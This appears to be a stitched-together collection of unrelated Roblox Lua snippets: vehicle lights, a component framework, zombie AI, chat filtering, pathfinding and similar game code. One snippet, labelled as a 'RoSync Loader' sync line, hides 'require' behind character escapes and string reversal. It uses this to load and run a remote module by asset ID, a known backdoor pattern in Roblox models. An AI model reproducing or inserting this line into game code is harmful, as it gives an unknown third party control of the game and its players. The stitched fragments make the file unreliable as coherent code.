|
--//SS6 PLUGIN; LIGHTS AND INDICATORS//--
|
--//INSPARE 2017//--
script.Parent.Parent.Parent.Parent.Parent.Parent:WaitForChild("FL")
local flw
local frw
local rlw
local rrw
for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FL:GetChildren()) do
if i:IsA("Part") and i.Shape == Enum.PartType.Ball then flw = i end
end
for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.FR:GetChildren()) do
if i:IsA("Part") and i.Shape == Enum.PartType.Ball then frw = i end
end
for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RL:GetChildren()) do
if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rlw = i end
end
for _,i in pairs(script.Parent.Parent.Parent.Parent.Parent.Parent.RR:GetChildren()) do
if i:IsA("Part") and i.Shape == Enum.PartType.Ball then rrw = i end
end
a = Instance.new("Part")
a.Size = Vector3.new(1,1,1)
a.CanCollide = false
a.Anchored = true
a.Parent = script.Parent.Parent.Parent.Parent.Parent
a.CFrame = flw.CFrame
a.Name = "Lfl" a.Transparency = 1
a.Rotation = script.Parent.Parent.Parent.Parent.Rotation
b = Instance.new("Part")
b.Size = Vector3.new(1,1,1)
b.CanCollide = false
b.Anchored = true
b.Parent = script.Parent.Parent.Parent.Parent.Parent
b.CFrame = frw.CFrame
b.Name = "Lfr" b.Transparency = 1
b.Rotation = script.Parent.Parent.Parent.Parent.Rotation
c = Instance.new("Part")
c.Size = Vector3.new(1,1,1)
c.CanCollide = false
c.Anchored = true
c.Parent = script.Parent.Parent.Parent.Parent.Parent
c.CFrame = rlw.CFrame
c.Name = "Lrl" c.Transparency = 1
c.Rotation = script.Parent.Parent.Parent.Parent.Rotation
d = Instance.new("Part")
d.Size = Vector3.new(1,1,1)
d.CanCollide = false
d.Anchored = true
d.Parent = script.Parent.Parent.Parent.Parent.Parent
d.CFrame = rrw.CFrame
d.Name = "Lrr" d.Transparency = 1
d.Rotation = script.Parent.Parent.Parent.Parent.Rotation
aa = Instance.new("SpotLight",a)
aa.Name = "hl"
aa.Color = Color3.new(1,1,1)
--aa.Shadows = true
aa.Enabled = false
aa.Face = 5
aa.Brightness = 1
aa.Range = 30
ab = Instance.new("SpotLight",a)
ab.Name = "ind"
ab.Color = Color3.new(255/255, 177/255, 51/255)
--ab.Shadows = true
ab.Enabled = false
ab.Face = 5
ab.Range = 11
ab.Brightness = 3
ba = Instance.new("SpotLight",b)
ba.Name = "hl"
ba.Color = Color3.new(1,1,1)
--ba.Shadows = true
ba.Enabled = false
ba.Face = 5
ba.Brightness = 1
ba.Range = 30
bb = Instance.new("SpotLight",b)
bb.Name = "ind"
bb.Color = Color3.new(255/255, 177/255, 51/255)
--bb.Shadows = true
bb.Enabled = false
bb.Face = 5
bb.Range = 11
bb.Brightness = 2
-- rear00000000000000000000000000000000000000000000000000000000
ca = Instance.new("SpotLight",c)
ca.Name = "Rev"
ca.Color = Color3.new(1,1,1)
--ca.Shadows = true
ca.Enabled = false
ca.Face = 2
ca.Brightness = 1
ca.Range = 12
cb = Instance.new("SpotLight",c)
cb.Name = "ind"
cb.Color = Color3.new(255/255, 177/255, 51/255)
--cb.Shadows = true
cb.Enabled = false
cb.Face = 2
cb.Range = 11
cb.Brightness = 2
da = Instance.new("SpotLight",d)
da.Name = "Rev"
da.Color = Color3.new(1,1,1)
--da.Shadows = true
da.Enabled = false
da.Face = 2
da.Brightness = 1
da.Range = 12
db = Instance.new("SpotLight",d)
db.Name = "ind"
db.Color = Color3.new(255/255, 177/255, 51/255)
--db.Shadows = true
db.Enabled = false
db.Face = 2
db.Range = 11
db.Brightness = 2
brL = Instance.new("SpotLight",c)
brL.Name = "Br"
brL.Color = Color3.new(255/255, 0, 0)
--brL.Shadows = true
brL.Enabled = false
brL.Face = 2
brL.Range = 15
brL.Brightness = 2
brR = Instance.new("SpotLight",d)
brR.Name = "Br"
brR.Color = Color3.new(255/255, 0, 0)
--brR.Shadows = true
brR.Enabled = false
brR.Face = 2
brR.Range = 15
brR.Brightness = 2
|
--[=[
@tag Component
@param config ComponentConfig
@return ComponentClass
Create a new custom Component class.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
```
A full example might look like this:
```lua
local MyComponent = Component.new({
Tag = "MyComponent",
Ancestors = {workspace},
Extensions = {Logger}, -- See Logger example within the example for the Extension type
})
local AnotherComponent = require(somewhere.AnotherComponent)
-- Optional if UpdateRenderStepped should use BindToRenderStep:
MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value
function MyComponent:Construct()
self.MyData = "Hello"
end
function MyComponent:Start()
local another = self:GetComponent(AnotherComponent)
another:DoSomething()
end
function MyComponent:Stop()
self.MyData = "Goodbye"
end
function MyComponent:HeartbeatUpdate(dt)
end
function MyComponent:SteppedUpdate(dt)
end
function MyComponent:RenderSteppedUpdate(dt)
end
```
]=]
|
function Component.new(config: ComponentConfig)
local customComponent = {
[KEY_ANCESTORS] = config.Ancestors or DEFAULT_ANCESTORS,
[KEY_INST_TO_COMPONENTS] = {},
[KEY_COMPONENTS] = {},
[KEY_LOCK_CONSTRUCT] = {},
[KEY_TROVE] = Trove.new(),
[KEY_EXTENSIONS] = config.Extensions or {},
[KEY_STARTED] = false,
Tag = config.Tag
}
customComponent.Started = customComponent[KEY_TROVE]:Construct(Signal)
customComponent.Stopped = customComponent[KEY_TROVE]:Construct(Signal)
customComponent.__index = customComponent
customComponent.__tostring = function()
return "Component<" .. config.Tag .. ">"
end
setmetatable(customComponent, Component)
customComponent:_setup()
return customComponent
end
function Component:_instantiate(instance: Instance)
local component = setmetatable({}, self)
component.Instance = instance
component[KEY_ACTIVE_EXTENSIONS] = GetActiveExtensions(component, self[KEY_EXTENSIONS])
if not ShouldConstruct(component) then
return nil
end
InvokeExtensionFn(component, "Constructing")
if type(component.Construct) == "function" then
component:Construct()
end
InvokeExtensionFn(component, "Constructed")
return component
end
function Component:_setup()
local watchingInstances = {}
local function StartComponent(component)
InvokeExtensionFn(component, "Starting")
component:Start()
InvokeExtensionFn(component, "Started")
local hasHeartbeatUpdate = typeof(component.HeartbeatUpdate) == "function"
local hasSteppedUpdate = typeof(component.SteppedUpdate) == "function"
local hasRenderSteppedUpdate = typeof(component.RenderSteppedUpdate) == "function"
if hasHeartbeatUpdate then
component._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
component:HeartbeatUpdate(dt)
end)
end
if hasSteppedUpdate then
component._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
component:SteppedUpdate(dt)
end)
end
if hasRenderSteppedUpdate and not IS_SERVER then
if component.RenderPriority then
component._renderName = NextRenderName()
RunService:BindToRenderStep(component._renderName, component.RenderPriority, function(dt)
component:RenderSteppedUpdate(dt)
end)
else
component._renderSteppedUpdate = RunService.RenderStepped:Connect(function(dt)
component:RenderSteppedUpdate(dt)
end)
end
end
component[KEY_STARTED] = true
self.Started:Fire(component)
end
local function StopComponent(component)
if component._heartbeatUpdate then
component._heartbeatUpdate:Disconnect()
end
if component._steppedUpdate then
component._steppedUpdate:Disconnect()
end
if component._renderSteppedUpdate then
component._renderSteppedUpdate:Disconnect()
elseif component._renderName then
RunService:UnbindFromRenderStep(component._renderName)
end
InvokeExtensionFn(component, "Stopping")
component:Stop()
InvokeExtensionFn(component, "Stopped")
self.Stopped:Fire(component)
end
local function SafeConstruct(instance, id)
if self[KEY_LOCK_CONSTRUCT][instance] ~= id then
return nil
end
local component = self:_instantiate(instance)
if self[KEY_LOCK_CONSTRUCT][instance] ~= id then
return nil
end
return component
end
local function TryConstructComponent(instance)
if self[KEY_INST_TO_COMPONENTS][instance] then
return
end
local id = self[KEY_LOCK_CONSTRUCT][instance] or 0
id += 1
self[KEY_LOCK_CONSTRUCT][instance] = id
task.defer(function()
local component = SafeConstruct(instance, id)
if not component then
return
end
self[KEY_INST_TO_COMPONENTS][instance] = component
table.insert(self[KEY_COMPONENTS], component)
task.defer(function()
if self[KEY_INST_TO_COMPONENTS][instance] == component then
StartComponent(component)
end
end)
end)
end
local function TryDeconstructComponent(instance)
local component = self[KEY_INST_TO_COMPONENTS][instance]
if not component then
return
end
self[KEY_INST_TO_COMPONENTS][instance] = nil
self[KEY_LOCK_CONSTRUCT][instance] = nil
local components = self[KEY_COMPONENTS]
local index = table.find(components, component)
if index then
local n = #components
components[index] = components[n]
components[n] = nil
end
if component[KEY_STARTED] then
task.spawn(StopComponent, component)
end
end
local function StartWatchingInstance(instance)
if watchingInstances[instance] then
return
end
local function IsInAncestorList(): boolean
for _, parent in ipairs(self[KEY_ANCESTORS]) do
if instance:IsDescendantOf(parent) then
return true
end
end
return false
end
local ancestryChangedHandle = self[KEY_TROVE]:Connect(instance.AncestryChanged, function(_, parent)
if parent and IsInAncestorList() then
TryConstructComponent(instance)
else
TryDeconstructComponent(instance)
end
end)
watchingInstances[instance] = ancestryChangedHandle
if IsInAncestorList() then
TryConstructComponent(instance)
end
end
local function InstanceTagged(instance: Instance)
StartWatchingInstance(instance)
end
local function InstanceUntagged(instance: Instance)
local watchHandle = watchingInstances[instance]
if watchHandle then
watchHandle:Disconnect()
watchingInstances[instance] = nil
end
TryDeconstructComponent(instance)
end
self[KEY_TROVE]:Connect(CollectionService:GetInstanceAddedSignal(self.Tag), InstanceTagged)
self[KEY_TROVE]:Connect(CollectionService:GetInstanceRemovedSignal(self.Tag), InstanceUntagged)
local tagged = CollectionService:GetTagged(self.Tag)
for _, instance in ipairs(tagged) do
task.defer(InstanceTagged, instance)
end
end
|
-- Creates a recoil simulation based on the weapon runtime data
-- @param WeaponRuntimeData weaponRuntimeData
-- @return RecoilSimulator
|
function RecoilSimulator.New(weaponRuntimeData)
local self = {}
setmetatable(self,RecoilSimulator)
self.runtimeData = weaponRuntimeData
self.weaponDefinition = weaponRuntimeData:GetWeaponDefinition()
self.rng = Random.new()
return self
end
|
--//Finished loading
|
wait(1)
loadingScreen:Destroy()
game.Players.LocalPlayer.PlayerGui.GlobalMenu.Enabled = true
game.Players.LocalPlayer.PlayerGui.Info.Enabled = true
game.Players.LocalPlayer.PlayerGui.SaveSystem.LoadMenu.Visible = true
game.Lighting:WaitForChild("Blur").Enabled = false
game.Lighting:WaitForChild('ColorCorrection').Enabled = false
|
--[[ Last synced 7/9/2021 08:33 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 2
Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.X and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
Debounce = 3
plr.Character.HumanoidRootPart.Anchored = false
local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
for i = 1,10 do
wait(0.1)
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
end
wait(0.3)
Track2:Stop()
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Money.Gold.Value > 5 then
return true
end
return false
end
|
--]]
|
function getHumanoid(model)
for _, v in pairs(model:GetChildren()) do
if v:IsA'Humanoid' then
return v
end
end
end
local ai = script.Parent
local human = getHumanoid(ai)
local hroot = ai.HumanoidRootPart
local zspeed = hroot.Velocity.magnitude
local pfs = game:GetService("PathfindingService")
function GetPlayerNames()
local players = game:GetService('Players'):GetChildren()
local name = nil
for _, v in pairs(players) do
if v:IsA'Player' then
name = tostring(v.Name)
end
end
return name
end
function GetPlayersBodyParts(t)
local torso = t
if torso then
local figure = torso.Parent
for _, v in pairs(figure:GetChildren()) do
if v:IsA'Part' then
return v.Name
end
end
else
return "HumanoidRootPart"
end
end
function GetTorso(part)
local chars = game.Workspace:GetChildren()
local torso = nil
for _, v in pairs(chars) do
if v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then
local charRoot = v:FindFirstChild'HumanoidRootPart'
if (charRoot.Position - part).magnitude < SearchDistance then
torso = charRoot
end
end
end
return torso
end
for _, zambieparts in pairs(ai:GetChildren()) do
if zambieparts:IsA'Part' then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
enemyhuman:TakeDamage(aiDamage)
end
end)
end
end
|
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GreenTopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.1, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--El sonido se encuentra dentro del Handle para que sólo se escuche cerca de quien lo lleva en mano.
| |
-- HUD setup
|
local hud, clipUI, ammoUI
function makeHud()
hud = tool.WeaponHud:Clone()
clipUI = hud.AmmoHud.Clip
ammoUI = hud.AmmoHud.Ammo
hud.Parent = player.PlayerGui
end
repeat wait() until player.Character
makeHud()
player.CharacterAdded:Connect(makeHud)
|
-- PROPERTIES
|
IconController.topbarEnabled = true
IconController.controllerModeEnabled = false
IconController.previousTopbarEnabled = checkTopbarEnabled()
IconController.leftGap = 12
IconController.midGap = 12
IconController.rightGap = 12
IconController.leftOffset = 0
IconController.rightOffset = 0
IconController.mimicCoreGui = true
|
--///////////////// Internal-Use Methods
--//////////////////////////////////////
--DO NOT REMOVE THIS. Chat must be filtered or your game will face
--moderation.
|
function methods:InternalApplyRobloxFilter(speakerName, message, toSpeakerName) --// USES FFLAG
if RunService:IsServer() then -- and not RunService:IsStudio()) then
local fromSpeaker = self:GetSpeaker(speakerName)
local toSpeaker = toSpeakerName and self:GetSpeaker(toSpeakerName)
if fromSpeaker == nil then
return nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
local toPlayerObj = toSpeaker and toSpeaker:GetPlayer()
if fromPlayerObj == nil then
return message
end
local filterStartTime = tick()
local filterRetries = 0
while true do
local success, message = pcall(function()
if toPlayerObj then
return Chat:FilterStringAsync(message, fromPlayerObj, toPlayerObj)
else
return Chat:FilterStringForBroadcast(message, fromPlayerObj)
end
end)
if success then
return message
else
warn("Error filtering message:", message)
end
filterRetries = filterRetries + 1
if filterRetries > MAX_FILTER_RETRIES or (tick() - filterStartTime) > MAX_FILTER_DURATION then
self:InternalNotifyFilterIssue()
return nil
end
local backoffInterval = FILTER_BACKOFF_INTERVALS[math.min(#FILTER_BACKOFF_INTERVALS, filterRetries)]
-- backoffWait = backoffInterval +/- (0 -> backoffInterval)
local backoffWait = backoffInterval + ((math.random()*2 - 1) * backoffInterval)
task.wait(backoffWait)
end
else
--// Simulate filtering latency.
--// There is only latency the first time the message is filtered, all following calls will be instant.
if not StudioMessageFilteredCache[message] then
StudioMessageFilteredCache[message] = true
task.wait(0.2)
end
return message
end
return nil
end
|
--Chat Event
|
player.Chatted:Connect(function(msg)
if msg=="spawn" and event:InvokeServer("whitelist") then
frame.Visible = true
update()
end
end)
|
--Character--
|
local char = script.Parent;
local hum : Humanoid = char.Humanoid;
local hrp : BasePart = char.HumanoidRootPart;
|
-- -- -- -- -- -- --
--DIRECTION SCROLL--
-- -- -- -- -- -- --
|
This.Parent.Parent.Parent.Parent:WaitForChild("Velocity").Changed:connect(function(val)
if This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val > 0 then
This.SurfaceGui.Direction.Text = "▲"
elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val < 0 then
This.SurfaceGui.Direction.Text = "▼"
elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == 1 and val == 0 then
This.SurfaceGui.Direction.Text = ""
elseif This.Parent.Parent.Parent.Parent:WaitForChild("Direction").Value == -1 and val == 0 then
This.SurfaceGui.Direction.Text = ""
else
This.SurfaceGui.Direction.Text = ""
end
end)
|
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/pluralize.ts
| |
--[[
MatchTable {
Some: (value: any) -> any
None: () -> any
}
CONSTRUCTORS:
Option.Some(anyNonNilValue): Option<any>
Option.Wrap(anyValue): Option<any>
STATIC FIELDS:
Option.None: Option<None>
STATIC METHODS:
Option.Is(obj): boolean
METHODS:
opt:Match(): (matches: MatchTable) -> any
opt:IsSome(): boolean
opt:IsNone(): boolean
opt:Unwrap(): any
opt:Expect(errMsg: string): any
opt:ExpectNone(errMsg: string): void
opt:UnwrapOr(default: any): any
opt:UnwrapOrElse(default: () -> any): any
opt:And(opt2: Option<any>): Option<any>
opt:AndThen(predicate: (unwrapped: any) -> Option<any>): Option<any>
opt:Or(opt2: Option<any>): Option<any>
opt:OrElse(orElseFunc: () -> Option<any>): Option<any>
opt:XOr(opt2: Option<any>): Option<any>
opt:Contains(value: any): boolean
--------------------------------------------------------------------
Options are useful for handling nil-value cases. Any time that an
operation might return nil, it is useful to instead return an
Option, which will indicate that the value might be nil, and should
be explicitly checked before using the value. This will help
prevent common bugs caused by nil values that can fail silently.
Example:
local result1 = Option.Some(32)
local result2 = Option.Some(nil)
local result3 = Option.Some("Hi")
local result4 = Option.Some(nil)
local result5 = Option.None
-- Use 'Match' to match if the value is Some or None:
result1:Match {
Some = function(value) print(value) end;
None = function() print("No value") end;
}
-- Raw check:
if result2:IsSome() then
local value = result2:Unwrap() -- Explicitly call Unwrap
print("Value of result2:", value)
end
if result3:IsNone() then
print("No result for result3")
end
-- Bad, will throw error bc result4 is none:
local value = result4:Unwrap()
--]]
|
local CLASSNAME: string = "Option"
|
-----------------------------------PATHER--------------------------------------
|
local function Pather(endPoint, surfaceNormal, overrideUseDirectPath)
local this = {}
local directPathForHumanoid
local directPathForVehicle
if overrideUseDirectPath ~= nil then
directPathForHumanoid = overrideUseDirectPath
directPathForVehicle = overrideUseDirectPath
else
directPathForHumanoid = UseDirectPath
directPathForVehicle = UseDirectPathForVehicle
end
this.Cancelled = false
this.Started = false
this.Finished = Instance.new("BindableEvent")
this.PathFailed = Instance.new("BindableEvent")
this.PathComputing = false
this.PathComputed = false
this.OriginalTargetPoint = endPoint
this.TargetPoint = endPoint
this.TargetSurfaceNormal = surfaceNormal
this.DiedConn = nil
this.SeatedConn = nil
this.MoveToConn = nil -- To be removd with FFlagUserClickToMoveFollowPathRefactor
this.BlockedConn = nil
this.TeleportedConn = nil
this.CurrentPoint = 0
this.HumanoidOffsetFromPath = ZERO_VECTOR3
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
this.CurrentWaypointNeedsJump = false;
this.CurrentHumanoidPosition = ZERO_VECTOR3
this.CurrentHumanoidVelocity = 0
this.NextActionMoveDirection = ZERO_VECTOR3
this.NextActionJump = false
this.Timeout = 0
this.Humanoid = findPlayerHumanoid(Player)
this.OriginPoint = nil
this.AgentCanFollowPath = false
this.DirectPath = false
this.DirectPathRiseFirst = false
if FFlagUserClickToMoveFollowPathRefactor then
local rootPart = this.Humanoid and this.Humanoid.RootPart
if rootPart then
-- Setup origin
this.OriginPoint = rootPart.CFrame.p
-- Setup agent
local agentRadius = 2
local agentHeight = 5
local agentCanJump = true
local seat = this.Humanoid.SeatPart
if seat and seat:IsA("VehicleSeat") then
-- Humanoid is seated on a vehicle
local vehicle = seat:FindFirstAncestorOfClass("Model")
if vehicle then
-- Make sure the PrimaryPart is set to the vehicle seat while we compute the extends.
local tempPrimaryPart = vehicle.PrimaryPart
vehicle.PrimaryPart = seat
-- For now, only direct path
if directPathForVehicle then
local extents = vehicle:GetExtentsSize()
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = false
this.AgentCanFollowPath = true
this.DirectPath = directPathForVehicle
end
-- Reset PrimaryPart
vehicle.PrimaryPart = tempPrimaryPart
end
else
local extents = GetCharacter():GetExtentsSize()
agentRadius = AgentSizeIncreaseFactor * 0.5 * math.sqrt(extents.X * extents.X + extents.Z * extents.Z)
agentHeight = AgentSizeIncreaseFactor * extents.Y
agentCanJump = (this.Humanoid.JumpPower > 0)
this.AgentCanFollowPath = true
this.DirectPath = directPathForHumanoid
this.DirectPathRiseFirst = this.Humanoid.Sit
end
-- Build path object
this.pathResult = PathfindingService:CreatePath({AgentRadius = agentRadius, AgentHeight = agentHeight, AgentCanJump = agentCanJump})
end
else
if this.Humanoid then
local torso = this.Humanoid.Torso
if torso then
this.OriginPoint = torso.CFrame.p
this.AgentCanFollowPath = true
this.DirectPath = directPathForHumanoid
end
end
end
function this:Cleanup()
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
if this.MoveToConn then
this.MoveToConn:Disconnect()
this.MoveToConn = nil
end
if this.BlockedConn then
this.BlockedConn:Disconnect()
this.BlockedConn = nil
end
if this.DiedConn then
this.DiedConn:Disconnect()
this.DiedConn = nil
end
if this.SeatedConn then
this.SeatedConn:Disconnect()
this.SeatedConn = nil
end
if this.TeleportedConn then
this.TeleportedConn:Disconnect()
this.TeleportedConn = nil
end
this.Started = false
end
function this:Cancel()
this.Cancelled = true
this:Cleanup()
end
function this:IsActive()
return this.AgentCanFollowPath and this.Started and not this.Cancelled
end
function this:OnPathInterrupted()
-- Stop moving
this.Cancelled = true
this:OnPointReached(false)
end
function this:ComputePath()
if this.OriginPoint then
if this.PathComputed or this.PathComputing then return end
this.PathComputing = true
if FFlagUserClickToMoveFollowPathRefactor then
if this.AgentCanFollowPath then
if this.DirectPath then
this.pointList = {
PathWaypoint.new(this.OriginPoint, Enum.PathWaypointAction.Walk),
PathWaypoint.new(this.TargetPoint, this.DirectPathRiseFirst and Enum.PathWaypointAction.Jump or Enum.PathWaypointAction.Walk)
}
this.PathComputed = true
else
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
end
end
else
pcall(function()
this.pathResult = PathfindingService:FindPathAsync(this.OriginPoint, this.TargetPoint)
end)
this.pointList = this.pathResult and this.pathResult:GetWaypoints()
if this.pathResult then
this.BlockedConn = this.pathResult.Blocked:Connect(function(blockedIdx) this:OnPathBlocked(blockedIdx) end)
end
this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false
end
this.PathComputing = false
end
end
function this:IsValidPath()
if FFlagUserClickToMoveFollowPathRefactor then
this:ComputePath()
return this.PathComputed and this.AgentCanFollowPath
else
if not this.pathResult then
this:ComputePath()
end
return this.pathResult.Status == Enum.PathStatus.Success
end
end
this.Recomputing = false
function this:OnPathBlocked(blockedWaypointIdx)
local pathBlocked = blockedWaypointIdx >= this.CurrentPoint
if not pathBlocked or this.Recomputing then
return
end
this.Recomputing = true
if this.stopTraverseFunc then
this.stopTraverseFunc()
this.stopTraverseFunc = nil
end
if FFlagUserClickToMoveFollowPathRefactor then
this.OriginPoint = this.Humanoid.RootPart.CFrame.p
else
this.OriginPoint = this.Humanoid.Torso.CFrame.p
end
this.pathResult:ComputeAsync(this.OriginPoint, this.TargetPoint)
this.pointList = this.pathResult:GetWaypoints()
if #this.pointList > 0 then
if FFlagUserClickToMoveFollowPathRefactor then
this.HumanoidOffsetFromPath = this.pointList[1].Position - this.OriginPoint
else
-- Nothing to do : offset did not change
end
end
this.PathComputed = this.pathResult.Status == Enum.PathStatus.Success
if ShowPath then
this.stopTraverseFunc, this.setPointFunc = ClickToMoveDisplay.CreatePathDisplay(this.pointList)
end
if this.PathComputed then
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:Fire()
this:Cleanup()
end
this.Recomputing = false
end
function this:OnRenderStepped(dt)
if this.Started and not this.Cancelled then
-- Check for Timeout (if a waypoint is not reached within the delay, we fail)
this.Timeout = this.Timeout + dt
if this.Timeout > UnreachableWaypointTimeout then
this:OnPointReached(false)
return
end
-- Get Humanoid position and velocity
this.CurrentHumanoidPosition = this.Humanoid.RootPart.Position + this.HumanoidOffsetFromPath
this.CurrentHumanoidVelocity = this.Humanoid.RootPart.Velocity
-- Check if it has reached some waypoints
while this.Started and this:IsCurrentWaypointReached() do
this:OnPointReached(true)
end
-- If still started, update actions
if this.Started then
-- Move action
this.NextActionMoveDirection = this.CurrentWaypointPosition - this.CurrentHumanoidPosition
if this.NextActionMoveDirection.Magnitude > ALMOST_ZERO then
this.NextActionMoveDirection = this.NextActionMoveDirection.Unit
else
this.NextActionMoveDirection = ZERO_VECTOR3
end
-- Jump action
if this.CurrentWaypointNeedsJump then
this.NextActionJump = true
this.CurrentWaypointNeedsJump = false -- Request jump only once
else
this.NextActionJump = false
end
end
end
end
function this:IsCurrentWaypointReached()
local reached = false
-- Check we do have a plane, if not, we consider the waypoint reached
if this.CurrentWaypointPlaneNormal ~= ZERO_VECTOR3 then
-- Compute distance of Humanoid from destination plane
local dist = this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidPosition) - this.CurrentWaypointPlaneDistance
-- Compute the component of the Humanoid velocity that is towards the plane
local velocity = -this.CurrentWaypointPlaneNormal:Dot(this.CurrentHumanoidVelocity)
-- Compute the threshold from the destination plane based on Humanoid velocity
local threshold = math.max(1.0, 0.0625 * velocity)
-- If we are less then threshold in front of the plane (between 0 and threshold) or if we are behing the plane (less then 0), we consider we reached it
reached = dist < threshold
else
reached = true
end
if reached then
this.CurrentWaypointPosition = nil
this.CurrentWaypointPlaneNormal = ZERO_VECTOR3
this.CurrentWaypointPlaneDistance = 0
end
return reached
end
function this:OnPointReached(reached)
if reached and not this.Cancelled then
if FFlagUserClickToMoveFollowPathRefactor then
-- First, destroyed the current displayed waypoint
if this.setPointFunc then
this.setPointFunc(this.CurrentPoint)
end
end
local nextWaypointIdx = this.CurrentPoint + 1
if nextWaypointIdx > #this.pointList then
-- End of path reached
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
this.Finished:Fire()
this:Cleanup()
else
local currentWaypoint = this.pointList[this.CurrentPoint]
local nextWaypoint = this.pointList[nextWaypointIdx]
-- If airborne, only allow to keep moving
-- if nextWaypoint.Action ~= Jump, or path mantains a direction
-- Otherwise, wait until the humanoid gets to the ground
local currentState = this.Humanoid:GetState()
local isInAir = currentState == Enum.HumanoidStateType.FallingDown
or currentState == Enum.HumanoidStateType.Freefall
or currentState == Enum.HumanoidStateType.Jumping
if isInAir then
local shouldWaitForGround = nextWaypoint.Action == Enum.PathWaypointAction.Jump
if not shouldWaitForGround and this.CurrentPoint > 1 then
local prevWaypoint = this.pointList[this.CurrentPoint - 1]
local prevDir = currentWaypoint.Position - prevWaypoint.Position
local currDir = nextWaypoint.Position - currentWaypoint.Position
local prevDirXZ = Vector2.new(prevDir.x, prevDir.z).Unit
local currDirXZ = Vector2.new(currDir.x, currDir.z).Unit
local THRESHOLD_COS = 0.996 -- ~cos(5 degrees)
shouldWaitForGround = prevDirXZ:Dot(currDirXZ) < THRESHOLD_COS
end
if shouldWaitForGround then
this.Humanoid.FreeFalling:Wait()
-- Give time to the humanoid's state to change
-- Otherwise, the jump flag in Humanoid
-- will be reset by the state change
wait(0.1)
end
end
-- Move to the next point
if FFlagUserNavigationClickToMoveSkipPassedWaypoints then
if FFlagUserClickToMoveFollowPathRefactor then
this:MoveToNextWayPoint(currentWaypoint, nextWaypoint, nextWaypointIdx)
else
-- First, check if we already passed the next point
local nextWaypointAlreadyReached
-- 1) Build plane (normal is from next waypoint towards current one
-- (provided the two waypoints are not at the same location); location is at next waypoint)
local planeNormal = currentWaypoint.Position - nextWaypoint.Position
if planeNormal.Magnitude > ALMOST_ZERO then
planeNormal = planeNormal.Unit
local planeDistance = planeNormal:Dot(nextWaypoint.Position)
-- 2) Find current Humanoid position
local humanoidPosition = this.Humanoid.RootPart.Position - Vector3.new(
0, 0.5 * this.Humanoid.RootPart.Size.y + this.Humanoid.HipHeight, 0)
-- 3) Compute distance from plane
local dist = planeNormal:Dot(humanoidPosition) - planeDistance
-- 4) If we are less then a stud in front of the plane or if we are behing the plane, we consider we reached it
nextWaypointAlreadyReached = dist < 1.0
else
-- Next waypoint is the same as current waypoint so we reached it as well
nextWaypointAlreadyReached = true
end
-- Prepare for next point
if not FFlagUserClickToMoveFollowPathRefactor then
if this.setPointFunc then
this.setPointFunc(nextWaypointIdx)
end
end
